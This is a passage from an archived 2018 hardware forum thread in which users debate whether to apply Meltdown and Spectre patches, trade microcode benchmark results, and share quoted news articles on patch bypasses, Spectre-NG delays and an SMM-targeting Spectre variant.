The Notebook Review forums were hosted by TechTarget, who shut down them down on January 31, 2022. This static read-only archive was pulled by NBR forum users between January 20 and January 31, 2022, in an effort to make sure that the valuable technical information that had been posted on the forums is preserved. For current discussions, many NBR forum users moved over to NotebookTalk.net after the shutdown.
Problems? See this thread at archive.org.
← Previous pageNext page →

    CPU Vulnerabilities, Meltdown and Spectre, Kernel Page Table Isolation Patches, and more

    Discussion in 'Hardware Components and Aftermarket Upgrades' started by hmscott, Jan 2, 2018.

  1. Lunatics

    Lunatics Notebook Evangelist

    Reputations:
    157
    Messages:
    520
    Likes Received:
    348
    Trophy Points:
    76
    How serious of a threat is this for basic end users? Is it something really super prevalent and out there that you need to be worried about, or is it the fact that the information is out there and people know there's things to exploit with it so it's time to start worrying? I had heard of some people blocking certain windows updates because it affects the speed and performance of the computer. I don't want to hinder the performance of my machines I have spent thousands of dollars on if it's not really as commonly out there as it is seeming to be made out to be by the media currently. My work desktop is Meltdown protected but not Spectre protected and AFAIK I had been staying up to date with Windows updates, so not sure what that is about?

    Edit: And is there nothing we can do if we have already updated to the new "Spring" update or whatever they are calling it? All of my machines say they are meltdown protected but none of them are spectre protected and they are either on Windows 7, and the microcode fix only seems to be compatibly with 1709 version of 10? So unless you are still on the fall creators update, you are screwed for trying to protect at all against this?
     
    Last edited: May 3, 2018
    Vasudev and hmscott like this.
  2. Jarip

    Jarip Notebook Enthusiast

    Reputations:
    10
    Messages:
    10
    Likes Received:
    16
    Trophy Points:
    6
    About 1803, it appears that Windows 10 version 1809 (the next feature update for Windows 10) might include the updates for Spectre. However, it might not include protection for next generation Spectre.

    About Intel Management Engine firmware vulnerability, even with the latest Intel Management Engine components 11.7.0.1043:

    Versions of the INTEL-SA-00086 Detection Tool earlier than 1.0.0.146 did not check for CVE-2017-5711 and CVE-2017-5712. These CVEs only affect systems with Intel® Active Management Technology (Intel® AMT) version 8.x-10.x. Users of systems with Intel AMT 8.x-10.x are encouraged to install version 1.0.0.146, or later. Installing this version helps to verify the status of their system with regard to the INTEL-SA-00086 Security Advisory. You can check the version of the INTEL-SA-00086 Detection Tool by running the tool and looking for the version information in the output window.

    https://www.intel.com/content/www/us/en/support/articles/000025619/software.html
     
    hmscott likes this.
  3. Robbo99999

    Robbo99999 Notebook Prophet

    Reputations:
    4,346
    Messages:
    6,824
    Likes Received:
    6,112
    Trophy Points:
    681
    I wrote a post about this over on Guru3d saying:

    "From what I know about the Spectre exploits - for everyday users at home on their PC it's not really a big thing: if you don't click on silly links in e-mails and maintain 'safe' computer practices then you'll be protected from Spectre - they have to compromise your PC first before they can launch the Spectre style attack. In other words, I think that if you know from past experience that your computer never gets infected with anything, then I think it's extremely unlikely to fall victim to a Spectre style attack, and therefore I believe the Spectre microcode protection to be not particularly important for savvy everyday PC users. That's my take on it. (And it follows that if your PC gets infected with stuff on a regular basis, then I think it's wise to ensure Spectre protection too)."

    This is where the discussion was taking place: https://forums.guru3d.com/threads/e...ntel-discovered-four-of-them-critical.420826/

    I've also enabled "Strict Site Isolation" in Google Chrome browser when I first heard about Spectre/Meltdown, so that's another layer of protection:
    https://support.google.com/chrome/answer/7623121?hl=en-GB
    https://www.chromium.org/Home/chromium-security/site-isolation
     
    hmscott likes this.
  4. Jarip

    Jarip Notebook Enthusiast

    Reputations:
    10
    Messages:
    10
    Likes Received:
    16
    Trophy Points:
    6
    Did we already forget that Wannacry attack spread so fast just because of unpatched computers ?
     
    alexhawker and hmscott like this.
  5. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Exactly. We can't know when a known vulnerability will be available and used on us through simply browsing a site we think is safe - many "safe" sites have been compromised over time and delivered malware - even ad's deliver malware.

    It's better to be patched, and put up with a little performance loss, until the next generation CPU's arrive and the problem is mitigated in design - with no performance loss.

    It's also good to consider carefully how to spend new $ on new hardware between now and then, maybe put it off or go with AMD instead of Intel for the lower incidence of fixes required - and less performance loss.

    And, if you do get Intel, be sure to disable always on HPET timers, or face serious performance hits, as found by Anandtech's review comparing Intel vs AMD CPU's recently. If you must have HPET for your application or VM work, then AMD / Epyc would be a good alternative.

    IDK why people would want to buy known broken CPU's now given the performance hit, wait till Intel releases fixed architecture (not just onboard microcode updates) next year or after if you must have Intel over AMD.

    Spectre NT is now coming too, and we don't know what that entails as far as performance hit's, and how far back Intel will patch CPU's, they've already shown they don't care about CPU's 10 years back, maybe Spectre NT will make the cut off 5 years back, or even 3 years.

    Patch and be safe, while you can. :)
     
    alexhawker likes this.
  6. Robbo99999

    Robbo99999 Notebook Prophet

    Reputations:
    4,346
    Messages:
    6,824
    Likes Received:
    6,112
    Trophy Points:
    681
    Spectre isn't something that spreads per say, Spectre is just a way of exploiting branch prediction of Intel CPU to read supposedly protected data: so things like passwords, account information could be stolen. A Spectre attack would have to be the payload, and some other type of attack would have to 'get into your system' first. So the risk of spread and infection of Spectre style attacks isn't any higher than any other form of 'classic' attack, because the Spectre part is not the means of spread & infection, just the means of gleaning protected information once the machine has been compromised. This is my understanding of it, so to me risk of being infected with Spectre isn't any higher than being infected with anything else - in fact it's probably a lot lower chance of being infected with Spectre because it's supposedly very hard to use effectively, there are probably easier ways for hackers/people to glean information from your system. Hence protecting your PC from the initial infiltration is the most important part of system protection, the Spectre mitigations/microcodes only help once your PC is actually infected (and only against Spectre style attacks of course).
     
    Last edited: May 5, 2018
    hmscott likes this.
  7. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    IDK, maybe I am missing your POV here, but what makes any exploit once done and shared amongst hackers any harder than another exploit from their library of exploits?

    Getting there may be more difficult, but once the hack is done, and made into a package for "use", it's going to be just as easy to use as any other "tool" in their repertoire.

    And, the payload is only part of the "spread", it's the package that is built into that spreading virus / malware that delivers the payload, so we don't talk about the exploit as the delivery mechanism, though it can be part of it, usually the payload is independent of the spreading tool.

    These vulnerabilities are just as exploitable as any other, and should be patched just the same.
     
  8. Robbo99999

    Robbo99999 Notebook Prophet

    Reputations:
    4,346
    Messages:
    6,824
    Likes Received:
    6,112
    Trophy Points:
    681
    My POV is that the Spectre Protection is a second line of defence against one very specific type of attack, whereas making your PC secure to initial infiltration is the first line of defense against all exploits (not just Spectre). Spectre Protection has a performance cost and only protects against one exploit as a second line of defense, by ramping up your first line of defense you can likely reduce your chances of being infected with anything (including Spectre) to very small probabilities - at which point the performance cost of Spectre protection (second line of defense) is not worth it given the now already very small possibility of being infected with anything (let alone a very specific Spectre style attack which is an even lower probability again). I've basically just re-worded my previous post effectively.

    If you find that your PC often gets infected with stuff, then you should absolutely apply the Spectre patch, because you have a poor first line of defense, and would therefore need to rely on that second line of defense, but at this point you already have other problems if your PC is getting infected all the time. Also, if you've found that the performance cost of Spectre protection is not a big deal - it's not a massive performance hit (not on a general usage level), then feel happy to install the Spectre patch to feel more secure.
     
    KY_BULLET and hmscott like this.
  9. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Again, not seeing your POV :)

    There are plenty of PC's that are protected from known exploits that get infiltrated by unknown exploits.

    It is absurd to recommend people not patch a vulnerability because all their other patches *have been* protecting them.

    Patch a vulnerability *before* it's exploited, it can't get much simpler than that. :)
     
  10. Robbo99999

    Robbo99999 Notebook Prophet

    Reputations:
    4,346
    Messages:
    6,824
    Likes Received:
    6,112
    Trophy Points:
    681
    That's fine, I personally can't explain my POV any clearer, so we'll have to leave it at that.
     
    hmscott likes this.
  11. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    I think what you are missing in your POV is that you can't perfectly time the exploit incursion.

    Even a PC that is protected against exploits known, getting updates frequently to block them, is going to be infiltrated by an unknown exploit if the vulnerability it uses hasn't been patched.

    It's really indefensible to tell people to not patch a known vulnerability just because they don't know of an exploit "right now".

    You can't do "just in time" patching to avoid the performance hit of the patch, you can only be protected by patching, or not be protected by not patching, there is no middle ground.

    It's better to be patched and get used to the performance hit, than to one day "wish" you had patched. :)
     
    tilleroftheearth likes this.
  12. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Meltdown patch made the headlines again, it can be bypassed in Windows 10
    May 4, 2018 By Pierluigi Paganini
    https://securityaffairs.co/wordpress/72122/security/meltdown-patch-flaw.html

    " The problems with the mitigations for the Meltdown flaw continue a security researcher has demonstrated that the Meltdown patch in Windows 10 can be bypassed.

    The Windows Internals expert Alex Ionescu discovered that a Meltdown patch issued for Windows 10 is affected by a severe vulnerability that could be exploited to bypass it.

    “Calling NtCallEnclave returned back to user space with the full kernel page table directory, completely undermining the mitigation,” reads a tweet wrote on Twitter.

    "Welp, it turns out the #Meltdown patches for Windows 10 had a fatal flaw: calling NtCallEnclave returned back to user space with the full kernel page table directory, completely undermining the mitigation. This is now patched on RS4 but not earlier builds — no backport?? pic.twitter.com/VIit6hmYK0 "
    — Alex Ionescu ( @aionescu) May 2, 2018

    Ionescu explained that Microsoft addressed the flaw with the release of the Windows 10 version 1803, also known as April 2018 Update.

    Microsoft acknowledged the issue reported by the expert and is currently working to provide a fix to include in the Windows 10 version 1790 (Fall Creators Update) that is the only version affected.

    The Meltdown and Spectre attacks could be exploited by attackers to bypass memory isolation mechanisms and access target sensitive data.

    The Meltdown attack ( CVE-2017-5754 vulnerability) could allow attackers to read the entire physical memory of the target machines stealing credentials, personal information, and more.

    The Meltdown exploits the speculative execution to breach the isolation between user applications and the operating system, in this way any application can access all system memory.

    The good news is that Meltdown attacks are not easy to conduct and the risk of exploitation is considered low.

    Unfortunately, the timeline for Meltdown patch is full of problems, the first release was promptly suspended by Microsoft in January due to instability issues observed for AMD processors

    A week ago, the security researcher Ulf Frisk reported that some of Meltdown and Spectre securityupdated Windows introduces severe flaws.

    He noticed that Meltdown and Spectre security updates released by Microsoft in January and February for Windows 7 and Windows Server 2008 R2 patch Meltdown are affected by a vulnerability that could be exploited by attackers to easily read from and write to memory.

    According to the expert, an attacker can exfliltrate gigabytes of data per second by exploiting the vulnerability."
     
    Riley Martin likes this.
  13. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Working around Intel Hardware Flaws
    by Zack Brown, on April 30, 2018
    https://www.linuxjournal.com/content/working-around-intel-hardware-flaws

    "Efforts to work around serious hardware flaws in Intel chips are ongoing. Nadav Amit posted a patch to improve compatibility mode with respect to Intel's Meltdown flaw. Compatibility mode is when the system emulates an older CPU in order to provide a runtime environment that supports an older piece of software that relies on the features of that CPU. The thing to be avoided is to emulate massive security holes created by hardware flaws in that older chip as well.

    In this case, Linux is already protected from Meltdown by use of PTI (page table isolation), a patch that went into Linux 4.15 and that was subsequently backported all over the place. However, like the BKL (big kernel lock) in the old days, PTI is a heavy-weight solution, with a big impact on system speed. Any chance to disable it without reintroducing security holes is a chance worth exploring.

    Nadav's patch was an attempt to do this. The goal was "to disable PTI selectively as long as x86-32 processes are running and to enable global pages throughout this time."

    One problem that Nadav acknowledged was that since so many developers were actively working on anti-Meltdown and anti- Spectre patches, there was plenty of opportunity for one patch to step all over what another was trying to do. As a result, he said, "the patches are marked as an RFC since they (specifically the last one) do not coexist with Dave Hansen's enabling of global pages, and might have conflicts with Joerg's work on 32-bit."

    Andrew Cooper remarked, chillingly:

    "Being 32bit is itself sufficient protection against Meltdown (as long as there is nothing interesting of the kernel's mapped below the 4G boundary). However, a 32bit compatibility process may try to attack with Spectre/SP2 to redirect speculation back into userspace, at which point (if successful) the pipeline will be speculating in 64bit mode, and Meltdown is back on the table. SMEP will block this attack vector, irrespective of other SP2 defenses the kernel may employ, but a fully SP2-defended kernel doesn't require SMEP to be safe in this case.
    And Dave, nearby, remarked, "regardless of Meltdown/Spectre, SMEP is valuable. It's valuable to everything, compatibility-mode or not."

    SMEP (Supervisor Mode Execution Protection) is a hardware mode, whereby the OS can set a register on compatible CPUs to prevent userspace code from running. Only code that already has root permissions can run when SMEP is activated.

    Andy Lutomirski said that he didn't like Nadav's patch because he said it drew a distinction between "compatibility mode" tasks and "non-compatibility mode" tasks. Andy said no such distinction should be made, especially since it's not really clear how to make that distinction, and because the ramifications of getting it wrong might be to expose significant security holes.

    Andy felt that a better solution would be to enable and disable 32-bit mode and 64-bit mode explicitly as needed, rather than guessing at what might or might not be compatibility mode.

    The drawback to this approach, Andy said, was that old software would need to be upgraded to take advantage of it, whereas with Nadav's approach, the judgment would be made automatically and would not require old code to be updated.

    Linus Torvalds was not optimistic about any of these ideas. He said, "I just feel this all is a nightmare. I can see how you would want to think that compatibility mode doesn't need PTI, but at the same time it feels like a really risky move to do this." He added, "I'm not seeing how you keep user mode from going from compatibility mode to L mode with just a far jump."

    In other words, the whole patch, and any alternative, may just simply be a bad idea.

    Nadav replied that with his patch, he tried to cover every conceivable case where someone might try to break out of compatibility mode and to re-enable PTI protections if that were to happen. Though he did acknowledge, "There is one corner case I did not cover (LAR) and Andy felt this scheme is too complicated. Unfortunately, I don't have a better scheme in mind."

    Linus remarked:

    Sure, I can see it working, but it's some really shady stuff, and now the scheduler needs to save/restore/check one more subtle bit.

    And if you get it wrong, things will happily work, except you've now defeated PTI. But you'll never notice, because you won't be testing for it, and the only people who will are the black hats.

    This is exactly the "security depends on it being in sync" thing that makes me go "eww" about the whole model. Get one thing wrong, and you'll blow all the PTI code out of the water.

    So now you tried to optimize one small case that most people won't use, but the downside is that you may make all our PTI work (and all the overhead for all the _normal_ cases) pointless.

    And Andy also remarked, "There's also the fact that, if this stuff goes in, we'll be encouraging people to deploy 32-bit binaries. Then they'll buy Meltdown-fixed CPUs (or AMD CPUs!) and they may well continue running 32-bit binaries. Sigh. I'm not totally a fan of this."

    The whole thread ended inconclusively, with Nadav unsure whether folks wanted a new version of his patch.

    The bottom line seems to be that Linux has currently protected itself from Intel's hardware flaws, but at a cost of perhaps 5% to 30% efficiency (the real numbers depend on how you use your system). And although it will be complex and painful, there is a very strong incentive to improve efficiency by adding subtler and more complicated workarounds that avoid the heavy-handed approach of the PTI patch. Ultimately, Linux will certainly develop a smooth, near-optimal approach to Meltdown and Spectre, and probably do away with PTI entirely, just as it did away with the BKL in the past.

    Until then, we're in for some very ugly and controversial patches."
     
    Riley Martin likes this.
  14. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    (Vulnerability Patches are Masking actual performance losses)

    CPU Utilization Is Wrong on PCs, and Getting Worse Every Year

    Joel Hruska on May 2, 2018 at 8:36 am
    https://www.extremetech.com/computi...-is-wrong-on-pcs-and-getting-worse-every-year

    "CPU utilization is wrong. That’s the argument Brandon Gregg, Netflix’s senior performance architect, has leveled against one of the most fundamental performance measurement tools we use when evaluating a system. According to Gregg, CPU utilization as reported by Windows isn’t just wrong — it’s actively getting worse over time.

    If you’ve ever dug into this topic, you’re aware of some of the ways that CPU utilization isn’t reported accurately. Ever since Intel (and now AMD) added Hyper-Threading / SMT support, there’s been a discrepancy between how cores are presented in Task Manager and what resources are actually available. Windows, Linux, and other operating systems report the total number of cores and measure CPU utilization as if each logical core was actually a physical core. But that’s not the problem Gregg is discussing. First, there’s the problem of thread stalling. If you see your CPU running at 90 percent load, you might think it looks like this:
    wjHROEX.png
    In reality, Gregg points out, what might be going on is something akin to this, in which the CPU is stalled and waiting for data but isn’t actually doing any work.
    mZoYjal.png
    If you think about it, you’ve probably seen this in action. If you’ve ever performed a rendering or Photoshop manipulation that really tasked your CPU, performance — even UI performance — may slow to a crawl while the workload is executing. There are ways to avoid this problem by setting the total number of active threads or the priority of the workload itself, but if you’ve worked with computers for any length of time you’ve probably seen instances where 100 percent CPU utilization didn’t actually mean 100 percent CPU utilization. The problem, according to Gregg, is that memory accesses often slow the system. This is known as the CPU-DRAM gap, and it’s a topic we’ve discussed before at ET.

    The entire reason we implemented advanced caching structures with L1, L2, and L3 cache is precisely because the DRAM gap stalls out CPUs and lowers overall performance. But now, there’s another problem causing issues for CPU utilization: Spectre and Meltdown patches.
    LzWOmPw.png
    CPU utilization is wrong
    Opensource.com
    Published on Apr 23, 2018
    Everyone uses %CPU to measure performance, but everyone is wrong, says Netflix's Brendan Gregg in this Lightning Talk from UpSCALE at the 2018 Southern California Linux Expo (SCALE).
     
  15. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Specter NG: Intel shifts its first patches - postponed co-ordinated release
    07.05.2018 14:27 clock Jürgen Schmidt (translated from German with Google Translate)
    https://www.heise.de/security/meldu...e-Veroeffentlichung-aufgeschoben-4043790.html

    "Actually, the release of the first Specter NG patches was planned for Monday (May 7th). But Intel has requested a delay and received it. New, exclusive information shows how Specter-NG should go now."

    After c't exclusively documented the existence of several vulnerabilities in Intel's processors under the name Specter Next Generation last week, the first Specter NG patch was originally scheduled to be released on May 7th. However, Intel seems to be having problems getting the required updates ready in time, and therefore postponing the publication co-ordinated with the discoverers - once for 14 days, if possible even longer. This suggests information about the other patch plans by the processor manufacturer, heise Security and c't.

    Intel is now planning a coordinated release on May 21, 2018. New microcode updates are due to be released on this date. At the same time, technical information on the nature of at least two of the Specter NG gaps is likely to be published. However, this date is not set in stone: According to our information, Intel has already requested a further extension until July 10.

    The number of systems that need these patches is enormous. Because these Specter NG gaps not only affect all Core i processors and their Xeon derivatives at least since their release (Nehalem, 2010); These are Intel's standard CPUs for desktops, notebooks and servers. Also vulnerable are Atom-based Pentium, Celeron and Atom processors since 2013. And they are also used in tablets, smartphones and embedded devices.

    More Specter NG patches in August
    For the removal of the most dangerous Specter NG gap, Intel's customers have to wait even longer. It also affects the Core i and Xeon processors and allows them to attack their hosts or other VMs from a virtual machine. This is fatal, especially when using cloud systems. Currently, Intel plans to patch only in the third quarter. Specifically, the 14th of August is in the room. To secure the architecture, Intel plans a combination of hardware updates in the form of new microcode and software improvements that the operating system manufacturers have to implement.

    But this still does not cover all Specter NG gaps. Because at least four gaps should be defused according to Intel's plans, the software manufacturers in their products. According to our information, this is already partially tacit under the hood; but larger Specter NG patches for Windows, Linux, macOS and other affected operating systems will follow as well. Of course, we will also report on their dates as soon as we have reliable information."

    Comments (German, use Google Translate)

    Intel Spectre-NG Patches Delayed As Intel Not Able To Get Them Ready In Time
    By Ahmad Hassan, May 8, 2018
    https://segmentnext.com/2018/05/08/intel-spectre-ng-patch-delayed/

    "Recently, 8 new Spectre security vulnerabilities titled “Spectre-NG” were made public for Intel chips and Intel was working hard to roll out patches for these new security vulnerabilities, however, the upcoming Intel Spectre-NG Patches have been delayed.

    These Intel Spectre-NG Patches were supposed to drop on May 7, 2018, but now Intel has delayed the patches for the newly discovered security exploits by 14 days and are now scheduled to roll out on May 21, 2018.

    These patches will address the Spectre-NG security exploit in Intel Core processors starting from 1st gen Intel core processors to 8th gen Coffee Lake CPUs.

    These security exploits have emerged shortly after Intel revealed 8th gen CPU refreshes which have completely been redesigned to counter Spectre and Meltdown security exploits. (This is not true for recent 8th gen releases, CPU redesigns by Intel said to be in 2nd half, not now, see linked article)

    These redesigns will be seen in Intel 8th Gen core Chips that will ship in the second half of 2018. While Intel didn’t talk about the performance impact of the redesign but said that they will bring the performance improvements that are expected of the upcoming Coffee Lake Chips.

    Speaking of Intel processors, Intel has discontinued the Kaby Lake-X CPUs due to low sales and poor market response. These CPUs were announced just 11 months ago and were specifically designed and marketed to PC enthusiasts.

    According to Intel, the response from the consumers wasn’t very good and due to low sales, Intel has decided to move Intel Kaby Lake-X CPUs to EOL status.

    The Intel Kaby Lake-X CPUs are based 14nm+ architecture and are basically quad-core processors. The processors included in the Kaby Lake-X are Core i7-7740X and Core i5-7640X.

    In related news, reportedly Intel will reveal its Discrete GPUs at CES 2019. According to the report, Intel has completed the first phase of the development of its discrete GPUs and are now preparing for a big reveal and launch of the Intel Discrete GPU.

    Do you think the upcoming 8th gen refreashes of Intel Coffee Lake processors will be secure from such exploits? Let us know in the comments.

    Source: Heise "
     
    Last edited: May 8, 2018
    Riley Martin and ajc9988 like this.
  16. Papusan

    Papusan Jokebook's Sucks! Dont waste your $$$ on Filthy

    Reputations:
    42,701
    Messages:
    29,839
    Likes Received:
    59,614
    Trophy Points:
    931
    Not sure if this is posted...
    KB4100347: Intel microcode updates
    Applies to: Windows Server version 1803 - Windows 10 version 1803

    As I noted on May 4, when Microsoft hurriedly released Win10 version 1803 at the end of last month, it forgot to include the Meltdown/Spectre fixes that are in Win10 1703 and 1709. With KB 4100347, it appears as if Microsoft has finally released the Spectre V2 microcode patches for Win10 1803 and Server 1803but only for Intel Kaby Lake, Coffee Lake, Broadwell, SkyLake, Haswell, Ivy Bridge and Sandy Bridge processors.

    Direct download link; KB4100347: Intel microcode updates
     
  17. Robbo99999

    Robbo99999 Notebook Prophet

    Reputations:
    4,346
    Messages:
    6,824
    Likes Received:
    6,112
    Trophy Points:
    681
    Cool, thanks! Now, to apply or not to apply - that is the question! Sandybridge microcodes - that's something new too when it comes to microcodes released from Microsoft - could do some before & after testing on my Sandybridge i7-2920XM CPU laptop.

    P.S. I know some of you think you have to apply these microcodes, I mean really should apply them (looking at you hmscott!), I'm undecided - I'll probably end up flipping between them!
     
  18. Jarip

    Jarip Notebook Enthusiast

    Reputations:
    10
    Messages:
    10
    Likes Received:
    16
    Trophy Points:
    6
    I would prefer bios update for my new Asus laptop, but I am not sure do I ever receive it from Asus. Well, then I have 2 choice, to install MS patch or not install it. I decided wait for a while, to might have bios update as well as firmware update for Intel Management Engine. Anyway, it is good to know that we have some MS patch in a case of emergency, applied for Spectre :)
     
    Last edited: May 16, 2018
    hmscott, Riley Martin and Robbo99999 like this.
  19. Jarip

    Jarip Notebook Enthusiast

    Reputations:
    10
    Messages:
    10
    Likes Received:
    16
    Trophy Points:
    6
    Deleted - where is option to delete my post ?
     
    hmscott likes this.
  20. Robbo99999

    Robbo99999 Notebook Prophet

    Reputations:
    4,346
    Messages:
    6,824
    Likes Received:
    6,112
    Trophy Points:
    681
    Yep, it's good to have the microcode update available through Microsoft if you want it.

    OK, updated my Sandybridge laptop with the new microcode delivered through Microsoft for the latest Windows 10 (version 1803), KB4100347 that Papusan mentioned a few posts back. Tested Cinebench R15 both before & after the microcode update, I lost 2.6% performance (let's call it 3%!). Weirdly enough I lost the same exact 2.6% performance on my Skylake desktop by application of the new microcode. This is an average of 3 runs of Cinebench R15. So it looks like the Spectre patch doesn't slow down Sandybridge anymore so than Skylake, which is good news! The Meltdown patch, now that's supposed to slow down Sandybridge more than the more modern CPUs (like Skylake) - that's an OS level patch though, not microcode related. InSpectre now says my laptop is protected from Spectre. My laptop feels the same before & after patch, not noticing any difference in speed of web browsing or program opening - but not measured these, just subjective.
     
    Riley Martin, Papusan and hmscott like this.
  21. James D

    James D Notebook Prophet

    Reputations:
    2,314
    Messages:
    4,901
    Likes Received:
    1,132
    Trophy Points:
    231
    Could you please now also test disabling protection from Spectre in InSpectre tool?
    My theory is that new microcodes without enabled protection in OS should bring some advantage provided you had old microcode for SB processor.
    One guy claims he got better memory allocation speeds with MS updates yet disabled protection (although he tested this on ancient Pentium D-820 so might be a fluke).
     
    hmscott likes this.
  22. Robbo99999

    Robbo99999 Notebook Prophet

    Reputations:
    4,346
    Messages:
    6,824
    Likes Received:
    6,112
    Trophy Points:
    681
    I did as you asked. No performance improvement with the new microcode and Spectre Protection disabled vs old microcode (and of course Spectre Protection disabled by default).

    Going back to my previous post I'm just pleased that the Spectre performance hit of Sandybridge isn't any bigger than that of a modern CPU like Skylake, at least when it comes to Cinebench R15.
     
    hmscott, James D and 0lok like this.
  23. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Ex-Intel security expert: This new Spectre attack can even reveal firmware secrets
    A new variant of Spectre can expose the contents of memory that normally can't be accessed by the OS kernel.

    By Liam Tung | May 18, 2018 -- 12:55 GMT (05:55 PDT)
    https://www.zdnet.com/article/ex-in...ctre-attack-can-even-reveal-firmware-secrets/

    "Yuriy Bulygin, the former head of Intel's advanced threat team, has published research showing that the Spectre CPU flaws can be used to break into the highly privileged CPU mode on Intel x86 systems known as System Management Mode (SMM).

    Spectre and Meltdown vulnerabilities enable software attacks using CPU design flaws common to Intel, AMD, and Arm chips to access secrets stored in memory.

    Bulygin, who has launched security firm Eclypsium, has modified Spectre variant 1 with kernel privileges to attack a host system's firmware and expose code in SMM, a secure portion of BIOS or UEFI firmware.

    SMM resides in SMRAM, a protected region of physical memory that should only be accessible by BIOS firmware and not the operating system kernel, hypervisors or security software.

    SMM handles especially disruptive interrupts and is accessible through the SMM runtime of the firmware, knows as System Management Interrupt (SMI) handlers.

    As a former Intel researcher explained in a 2013 paper, when an SMI event occurs, say, due to thermal throttling or system health checks, all the CPU's cores enter SMM or system management mode.

    "Because SMM generally has privileged access to physical memory, including memory isolated from operating systems, our research demonstrates that Spectre-based attacks can reveal other secrets in memory (eg, hypervisor, operating system, or application)," Bulygin explains.

    To expose code in SMM, Bulygin modified a publicly available proof-of-concept Spectre 1 exploit running with kernel-level privileges to bypass Intel's System Management Range Register (SMRR), a set or range registers that protect SMM memory.

    "These enhanced Spectre attacks allow an unprivileged attacker to read the contents of memory, including memory that should be protected by the range registers, such as SMM memory," he notes.

    "This can expose SMM code and data that was intended to be confidential, revealing other SMM vulnerabilities as well as secrets stored in SMM. Additionally, since we demonstrate that the speculative memory access occurs from the context of SMM, this could be used to reveal other secrets in memory as well."

    Bulygin said he's been working with Intel since March and that Intel believes its guidance to mitigate Spectre variant 1 and Spectre variant 2 should also be applied to SMM.

    Intel said as much in a statement to ZDNet:

    "We have reviewed Eclypsium's research and, as noted in their blog, we believe that the existing guidance for mitigating variant 1 and variant 2 will be similarly effective at mitigating these scenarios," an Intel spokesperson said.


    "We value our partnership with the research community and are appreciative of Eclypsium's work in this area.""

    New Spectre Attack Recovers Data From a CPU's Protected SMM Mode
    By Catalin Cimpanu, May 18, 2018 05:15 PM
    https://www.bleepingcomputer.com/ne...recovers-data-from-a-cpus-protected-smm-mode/

    "Security researchers from Eclypsium have detailed yesterday a new variation of the Spectre attack that can recover data stored inside a secure CPU area named the System Management Mode (SMM).

    For those unfamiliar with CPU design, the SMM is a special x86 processor mode that not even highly-privileged software such as kernels or hypervisors cannot access or interrupt.

    What is the SMM and what's it good for
    Every time code is sent to the SMM, the operating system is suspended and the CPU uses parts of the UEFI/BIOS firmware to execute various commands with elevated privileges and with access to all the data and hardware.

    During these "interrupts," as they are known, the SMM suspends the operating system and runs firmware-specific code that handles power management, system hardware control, or proprietary OEM code —in other words keeping the hardware running smoothly while the software runs on top.

    Because of its critical role in keeping the hardware alive and its deep connections to all areas of the computer, software applications of any kind are not allowed to interact with the SMM, for both maintenance and security reasons.

    But the SMM mode was designed and released into production in the early 90s, and not that many protections were included from the get-go.

    On Intel CPUs, access to the SMM is protected by a special type of range registers known as System Management Range Register (SMRR).

    Researchers alter Spectre attack to access SMM memory
    In research published on Thursday, the Eclypsium team has modified one of the public proof-of-concept codes released for the Spectre variant 1 (CVE-2017-5753) vulnerability to bypass the SMRR protection mechanism and access data stored inside the System Management RAM (SMRAM) —the area of the physical memory where SMM stores and runs its working data.

    "These enhanced Spectre attacks allow an unprivileged attacker to read the contents of memory, including memory that should be protected by the range registers, such as SMM memory," the Eclypsium team says.

    "This can expose SMM code and data that was intended to be confidential, revealing other SMM vulnerabilities as well as secrets stored in SMM," researchers said.

    Furthermore, since the attack was successful at revealing SMRAM and SMM data, the Eclypsium team also believes it could be used to reveal other type of info stored inside the physical memory, not just the one related to SMM.

    Original Spectre patches will protect users

    While their experimental attack was crafted to work around the Spectre variant 1 vulnerability, researchers said that using Spectre variant 2 (CVE-2017-5715) can also achieve the same results.

    Researchers said they've notified Intel of their new Spectre attack variation in March. Intel says that the original patches for the Spectre variant 1 and variant 2 should be enough to block the attack chain discovered by the Eclypsium team.

    The Eclypsium report provides a deeper technical dive into the research team's attack. Eclypsium is headed by Yuriy Bulygin, the former head of Intel's Advanced Threat Research team at Intel Security and microprocessor security analysis team at Intel Corporation. He is also the creator of the CHIPSEC open-source security framework.

    This is also not the first variation of the original Spectre vulnerability. Other Spectre-related attacks include SgxSpectre, BranchScope, and SpectrePrime."
     
    Last edited: May 19, 2018
    KY_BULLET likes this.
  24. Robbo99999

    Robbo99999 Notebook Prophet

    Reputations:
    4,346
    Messages:
    6,824
    Likes Received:
    6,112
    Trophy Points:
    681
    Thing is hmscott, this isn't really a thing as Intel says that their patches already protect against these new types of Spectre attacks, it was just a small section here that I copied & pasted from your post above:
     
    hmscott likes this.
  25. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Yes, you quoted my post, and it's also mentioned in the 2nd article, should I have highlighted them to make them stand out? (DONE)
     
    Robbo99999 likes this.
  26. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Alert (TA18-141A)
    Side-Channel Vulnerability Variants 3a and 4

    Original release date: May 21, 2018
    https://www.us-cert.gov/ncas/alerts/TA18-141A

    Systems Affected
    CPU hardware implementations

    Overview
    On May 21, 2018, new variants—known as 3A and 4—of the side-channel central processing unit (CPU) hardware vulnerability were publically disclosed. These variants can allow an attacker to obtain access to sensitive information on affected systems.

    Description
